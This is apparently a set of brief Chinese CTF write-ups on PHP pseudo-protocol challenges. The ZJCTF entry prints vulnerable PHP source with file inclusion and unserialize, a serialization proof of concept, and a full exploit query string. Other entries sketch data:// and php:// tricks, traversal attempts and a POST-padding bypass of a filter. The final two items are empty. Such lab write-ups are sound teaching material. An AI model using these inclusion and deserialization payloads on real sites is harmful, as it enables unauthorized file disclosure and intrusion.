1.[SWPUCTF 2021 新生赛]PseudoProtocols
根据提示,hint在hint.php中。通过伪协议去读取hint.php
再去读取
test2222222222222.php
?a=data://text/plain,I want flag
2.[NISACTF 2022]easyssrf
顺便输入了一个flag.php 提示查看提示文件/fl4g
然后我就试了/fl4g .../fl4g .../.../fl4g .../.../.../fl4g 都不行,就选择用伪协议了。
3.[ZJCTF 2019]NiZhuanSiWei
第一个判断通第一题
text=data://text/plain,welcome to the zjctf
后面的提示useless.php,用伪协议
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
<?php
class Flag{ //flag.php
public $file='flag.php';
}
$a=new Flag();
echo serialize($a);
?>
最后的playload text不变,file不再使用读取作用只要包含就行所以不用加伪协议,password使用上面的poc
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
4.[鹏城杯 2022]简单包含
尝试伪协议读取flag.php,有waf。接着读取index.php可以看到数据
直接让条件不成立
让post数据大于800字节
这里我加了一堆a等于a
5.[SWPUCTF 2022 新生赛]ez_ez_php
直接伪协议读取flag.php
发现flag再flag文件里面
6.[GDOUCTF 2023]泄露的伪装
7.